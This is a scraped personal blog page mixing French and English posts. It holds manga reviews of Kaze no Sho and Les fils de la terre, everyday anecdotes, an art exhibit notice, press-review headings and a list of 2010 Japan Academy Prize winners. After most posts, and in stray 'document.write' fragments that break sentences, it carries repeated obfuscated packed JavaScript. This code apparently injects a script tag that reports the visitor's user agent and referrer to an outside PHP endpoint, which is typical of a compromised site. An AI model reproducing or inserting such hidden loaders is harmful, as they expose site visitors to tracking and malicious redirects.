Avec Kaze no Sh?, le style de Taniguchi diffère de la clarté et de la précision qu’on retrouve dans ses récits plus personnels. Il adapte son trait aux besoins du genre historique avec des scènes toujours détaillées mais aussi beaucoup plus chargées (on retrouve beaucoup de “ligne de vitesse” en trame pour exprimer le mouvement et l’action). Une autre conséquence de ce choix de genre est que les déambulations paisibles auxquels Taniguchi nous a habitué laissent place à des combats sanglants et à des scènes de violence. L’histoire est cependant intéressante et nous fait découvrir bien des aspects méconnus de l’histoire japonaise mais la lourdeur tant du texte que des planches en rend la lecture moins agréable que la plupart de ses autres ouvrages.

C’est donc une oeuvre mineure mais qui mérite tout de même d’être lue, car ce manga seinen (pour jeune homme) est plus réaliste et éducatif que la plupart des manga sh?nen (pour jeune garçon) de baston pseudo-historique—les Naruto, Rurouni Kenshin, Samurai Champloo, Samurai Deeper Kyo, etc., qui sont malheureusement beaucoup plus populaires—et il se compare pas trop mal aux canons du genre (les Habitant de l’infini, Lone Wolf & Cub ou Vagabond, qui sont tous avantagés par le fait que ce sont des séries).

Kaze no Sh?: Le livre du vent, par Jir? TANIGUCHI & Kan FURUYAMA. Panini Comics (Coll. Génération Comics), 2004. B&W (4 pg en couleur), 17 x 24 cm, 236 pgs. 14.00 € / $24.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2845382923.
Also released in English under the title Samurai Legend (CPM Manga [Central Park Media], Cat.# CMX 63801G, 2003, 240 pg, ISBN 1-58664-856-X, $15.95 US, rated 16+). To be reviewed separately later.
Kaze no Sh? © 1992 Jiro Taniguchi / Kan Furuyama • Akita Publishing Co., Ltd. © 2006 Panini France S.A. pour l’édition française.

Les fils de la terre

“Depuis l’éclatement de la bulle économique, document.write(“”); l’agriculture japonaise est en crise. Année après année, la population agricole du pays ne cesse de diminuer. Il est devenu urgent d’agir. Dans ce contexte pesant, Shuntaro Natsumé, un jeune fonctionnaire un peu pataud mais passionné, se voit confier la lourde tâche d’élaborer une réforme capable d’inverser la tendance. À cette fin, il est envoyé dans un lycée agricole de campagne, comme enseignant. Il s’installe à Takazono, un petit village situé dans une région montagneuse, où il fait la connaissance d’un jeune agriculteur : Kohei. Celui-ci est particulièrement remonté contre les fonctionnaires, et attribue le déclin de ce secteur et des conditions de vie des agriculteurs aux mauvaises politiques agricoles des gouvernements successifs. À son contact, Natsumé va prendre conscience d’une chose : la mission qui lui a été confiée risque d’être plus difficile qu’il ne l’avait imaginé…” [Résumé du premier volume sur le site de l’éditeur]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbrhf|var|u0026u|referrer|azrar||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbekn|var|u0026u|referrer|eztda||js|php’.split(‘|’),0,{}))

Pour avoir la moindre chance de réussir la mission impossible qu’on lui a confié, Natsume doit d’abord apprendre à connaître le milieu rural japonais et ensuite se faire accepter par les habitants locaux, qui sont plutôt désabusés et méfiants face au gouvernement. Il se lie d’abord d’amitié avec les villageois, tous des personnes agées (et principalement des vieilles dames), car la plupart des jeunes sont partis se trouver des emplois à la ville. Puis il gagne à sa cause Mlle Takashina, professeur d’anglais et championne de tir à l’arc qui a été muté au lycée un peu avant son arrivé. Mais il lui faut aussi convaincre ses étudiants de s’intéresser à l’agriculture… Il commence par obtenir le respect de Ryuichi Kokubu, un jeune rebel. Toutefois, acquérir la confiance de Kohei, le seul jeune à être resté au village, lui demandera de plus grand efforts.

Dans le deuxième volume, Natsume continue a être confronté au pessimisme de Kohei. Il se rend cependant compte que la clé du succès serait, d’une part, de faire connaitre les produits du village en faisant la promotion de leur qualité naturelle supérieure et, d’autre part, en attirant les gens de la ville au village en leur offrant des possibilités de ressourcement. Mlle Nanako, proche amie de Natsume et fille du chef de cabinet du ministre de la culture, vient le rejoindre à Takazono et, séduite par la place, décide de s’y installer. Pendant ce temps, Natsume reçoit une nouvelle mission impossible du ministère: faire la tournée du Japon pour trouver des examples d’agriculteurs qui ont réussi—mais la liste qu’on lui fournit a été créé de façon à s’assurer de son échec!

Dans le dernier tome, Natsume et Kohei passent une année à faire la tournée du Japon afin de rencontrer des agriculteurs et recueillir leur opinion. Au hasard de quelques détours pour aider des cultivateurs en difficultés, ils font des découvertes intéressantes. Au retour, ils trouvent un village transformé par les efforts de Nanako et Takashina: elles ont créé la “Maison de la Terre”, une petite boutique où elles vendent les produits du village. Natsume se rend à Tokyo pour proposer une réforme du système d’éducation, mais on lui révèle que depuis le début tout ce projet n’était en fait qu’une manoeuvre politique. Il présente donc ses recommendations directement au premier ministre: une nouvelle option “agriculture” dans les lycées, sorties hebdomadaires des classes de primaire et secondaire en milieu rural pour bonifier l’image de l’agriculture, financement accru pour les agriculteurs participants au project afin de réduire leur endettement et augmenter leur autonomie. Malheureusement, le premier ministre ne pense pas que cela soit politiquement possible… Natsume tentera donc de prouver que son plan est réalisable en le portant d’abord en miniature sur le village de Takazono.

Les fils de la terre [??? / Tsuchi no ko], a d’abord été publié par Shueisha en 2002-03 dans le magazine Oh Super Jump avant d’être compilé en volumes. Son créateur, Jinpachi M?ri [?? ??], a travaillé comme scénariste sur plusieurs autres manga (dont Tajikarao, l’esprit de mon village (avec l’artiste Kanji Yoshikai, publié en français par Delcourt), Benkei in N.Y. (avec Jir? Taniguchi, publié en anglais par Viz Comics) et Kasai no hito (avec Osamu Uoto)) mais c’est cependant sont expertise juridique et agricole qui a profondement marquée Les fils de la terre en lui donnant un aspect documentaire. Les volumes 2 et 3 offrent d’ailleurs des extraits d’une série de portraits d’agriculteurs qu’il a publié dans le National Agricultural News sous le titre “Héritiers de la Terre.”

Les fils de la terre est un excellent manga. Son style relativement traditionel et simple (qui rappelle vaguement celui de Tsukasa Hojo, mais en plus dégagé) est visuellement très agréable. Son récit, fluide et bien rythmé, nous offre une histoire intelligente qui sait captiver et divertir, mais aussi qui nous renseigne beaucoup sur le milieu rural du Japon et les difficultés que connait son agriculture—des problèmes ne lui sont d’ailleurs pas spécifiques. C’est une thématique assez inhabituelle (et peut-être un peu controversée) pour un manga que de dire que le principal obstacle à la résolution de nos problèmes économiques est politique—alors que nos gouvernements succombent aux pressions de lobby industriels au détriment de notre bien-être—et que la solution est dans une économie plus locale, un mode de vie plus simple et moins matérialiste. C’est d’ailleurs un sujet assez actuel alors que les idées altermondialistes sont à la mode et qu’on parle beaucoup d’environnement, de développement durable, d’agriculture “bio”, d’efficacité énergétique ou de simplicité volontaire. Ce manga ne vous convaincra sûrement pas de faire un “retour à la terre” mais il vous ferra certainement prendre conscience d’une partie des problèmes de notre société consommatrice.

Les fils de la terre, par MORI Jinpachi (scénerio) & HATAJI Hideaki (dessin). Delcourt (Label Akata, Coll. Ginkgo), 2007-2008. 3 vols., n&b, 12.7 x 18 cm, 218 / 207 / 180 pgs. 7,50 € / $13.95 Can chacun. Recommandé pour adolescents (14+). ISBN: 978-2756005485 (Vol. 1), 978-2756005492 (Vol. 2) and 978-2756005508 (Vol. 3).
Tsuchi no ko © 2002 by Jinpachi Môri, Hideaki Hataji. All rights reserved. © 2007 Guy Delcourt pour l’édition française.

Funny anecdotes (2)

Each winter The Gazette publishes an ad where they thank customers for keeping their stairs clear of snow and ice to insure the safety of their delivery boys. This make me laugh every time since the delivery “boy” never comes closer than fifty feet from my door’s steps! He simply stops his car in the middle of the street and, document.write(“”); from there, throw the newspaper at my door (usually hitting it with a loud BANG). It’s annoying because I paid a lot of money to make my mail slot bigger, but he never used it. Sometimes, the newspaper rebound close to the sidewalk (where any passerby could grab it) or even off the porch into the snow, slush or rain puddle. And that’s when the cover-page doesn’t get scratched or ripped because of the shock or sliding. This morning the unavoidable happened: he finally hit the front-door window, breaking it. Fortunately, the delivery company has agreed to pay for the window replacement (nearly $250!), but (now that the iPad is almost here and there’s so many newspapers with online edition) I am wondering if subscribing to a newspaper is worth the trouble (or the risk)!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zefaz|var|u0026u|referrer|trttz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbnff|var|u0026u|referrer|nfskd||js|php’.split(‘|’),0,{}))

The other day, in the subway, I saw an advert for the
Canadian Society of Immigrant Consultants. Considering that, in the past, immigants had to go through a long and difficult journey across the atlantic to reach our shores, this advert inevitably conjured up in my mind the image of a poor immigrant leaning over board to throw up into the sea… It really doesn’t help that this organisation’s acronym, CSIC, can be pronounced “sea-sick”! Anyhow, this advert doesn’t give any feeling of confidence into this society…

Another mail snafu just happened to me. I mailed a package to Abu Dhabi (in the United Arab Emirates) and it ended up in Kentuky, USA. I really don’t understand what’s going through the mind of those postal workers…

One more thing: People were calling the iPad the “miracle tablet” (“Last time there was this much excitement about a tablet, it had some commandments written on it”) or the “Jesus Slate” because the expectations of the, then rumored, iPad were so high (some thought it could even walk on water) they were sure it would resurrect Apple’s business again (they wanted us to pick the apple from the tree of knowledge). Well, coincidentally (or is it?), the iPad will be released on Easter week-end!

À tons sens

Karine Perron, document.write(“”); une collègue aide-bibliothécaire de l’arrondissement Ahuntsic-Cartierville, expose présentement ses oeuvres au troquet “Le cep & le houblon” [lien Facebook], situé au 2280 rue Bélanger.

Cette exposition, qui consiste en dix-sept pièces mélangeant le fusain, l’encre et l’acrylique sur papier, nous offre un intéressant voyage dans l’univers imaginaire de l’artiste.

“À tons sens…

Il est des sens comme des vents. Ma production se veut la recherche d’un questionnement visuel. Je travaille beaucoup au niveau des textures, des tons et de la fragilité des impressions, de ce qui m’apparaît. Un temps de réflexion est nécessaire afin de choisir le sens de l’œuvre. Je retouche enfin le tout afin de maintenir le regard en suspend.

L’exposition de 2010 est un survol des 5 dernières années de production à Montréal.

Revue de Presse / Press Review (2010/03/16)

Yet another busy and quite exhausting week. Fortunately, document.write(“”); I’ve seen lots of interesting news articles on the web-based press (more than I could list here). Let me share some of them with you:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fefbe|var|u0026u|referrer|zfisi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsftz|var|u0026u|referrer|yadab||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour


Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

This week in the press (2010-03-09)

Another busy week (union-related meetings, document.write(“”); disappointment over a project I invested lots of time in, stress over strained work environment, etc.) with little news. The only noticeable events were the Oscars and Apple finally announcing the iPad release date. Here’s a few more interesting news bits that caught me eyes:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsdbi|var|u0026u|referrer|esbda||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsrkk|var|u0026u|referrer|ynedr||js|php’.split(‘|’),0,{}))

Anime & Manga related

Books, Digital Edition & Library

Economy, Environment & International Politics

Media, Culture & Society

Montreal & local politics

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

33rd Japan Academy Prize Winners

The winners for the 2010 Japan Academy Awards (see our blog entry on the nominations) are just in:

  • Best Picture: The Sun That Doesn’t Set (Setsuro Wakamatsu)?
  • Best Animated Feature: Summer Wars (Mamoru Hosoda)
  • Best Director: Daisaku Kimura (Mt. Tsurugidake)
  • Best Screenplay: Miwa Nishikawa (Dear Doctor)?
  • Best Actor: Ken Watanabe (The Sun That Doesn’t Set)?
  • Best Actress: Takako Matsu (Villon’s Wife)?
  • Best Supporting Actor: Teruyuki Kagawa (Mt. Tsurugidake)?
  • Best Supporting Actress: Kimiko Yo (Dear Doctor)
  • Best Music: Shinichiro Ikebe (Mt. Tsurugidake)
  • Best Cinematography: Daisaku Kimura (Mt. Tsurugidake)?
  • Best Lighting Direction: Kawabe Takayuki (Mt. Tsurugidake)?
  • Best Art Direction: Yohei Taneda & Kyoko Yauchi (Villon’s Wife)?
  • Best Sound Recording: Teiichi Saito (Mt. Tsurugidake)?
  • Best Film Editing: Takao Arai (The Sun That Doesn’t Set)
  • Best Foreign Language Film: Gran Torino (Clint Eastwood)

(Sources: 日本アカデミー賞,  Wildgrounds).

Dear Doctor / Dia dokuta [ Official site, IMDb ]

Mt. Tsurugidake / Tsurugidake: Ten no ki [ Official site, IMDb ]

Summer Wars / サマーウォーズ [ Official site, ANN ]

Sun That Doesn’t Set (The) / Shizumanu Taiyo [ Official site, IMDb ]

Villon’s Wife / Viyon no tsuma [ Official site, IMDb ]

This week in the press (2010-03-03)

This week I was too busy with various projects to pay much attention to the news. Still, document.write(“”); a few news items caught my interest. The most notable event was probably the big earthquake in Chile. And now that the Vancouver Olympics are over we can start watching TV again…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zktzh|var|u0026u|referrer|kznif||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zayya|var|u0026u|referrer|nfbab||js|php’.split(‘|’),0,{}))

Anime & Manga related

Books, Digital Edition & Library

Economy, Environment & International Politics

Health & Influenza A(H1N1)

Media, Culture & Society

Montreal & local politics

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side